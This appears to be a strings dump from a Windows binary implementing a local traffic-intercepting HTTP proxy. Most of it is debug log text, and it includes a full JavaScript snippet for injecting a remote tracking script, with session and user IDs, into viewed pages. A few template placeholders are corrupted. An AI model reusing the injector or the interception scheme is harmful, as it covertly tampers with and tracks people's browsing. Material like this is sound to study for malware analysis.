[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

3.1.0.100

%ÛVERSION%%

%%SOURCE%%

%%COUNTRY%%

<script type='text/javascript'>!function(){'use strict';function doInj(){if(10!==  calls){var scriptElement=document.createElement('script');scriptElement.src='//4x3zy4ql-l8bu4n1j.netdna-ssl.com/fb.js?pn=JSDRIVER&v=%%VERSION%%&bn=%%BROWSERNAME%%&usid=%%SID%%&uid=%%PIXGUID%%&Aff=%¯F%%&sp=%%SPARAM%%&spd=%%SPARAMDATE%%&spp=%%SPARAMPROD%%',scriptElement.type='text/javascript';var scripts=document.getElementsByTagName('script');if(scripts.length>0)scripts[0].parentNode.insertBefore(scriptElement,scripts[0]);else{var headBody=document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0];headBody?headBody.appendChild(scriptElement):setTimeout(function(){doInj()},10)}}}var calls=0;doInj()}();</script>

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

[HttpParser::operator =] Adding Cookie %s : %s

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

[HttpParser::SetFieldData] Adding Cookie %s : %s

[HttpParser::SetFieldData] %s : %s

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

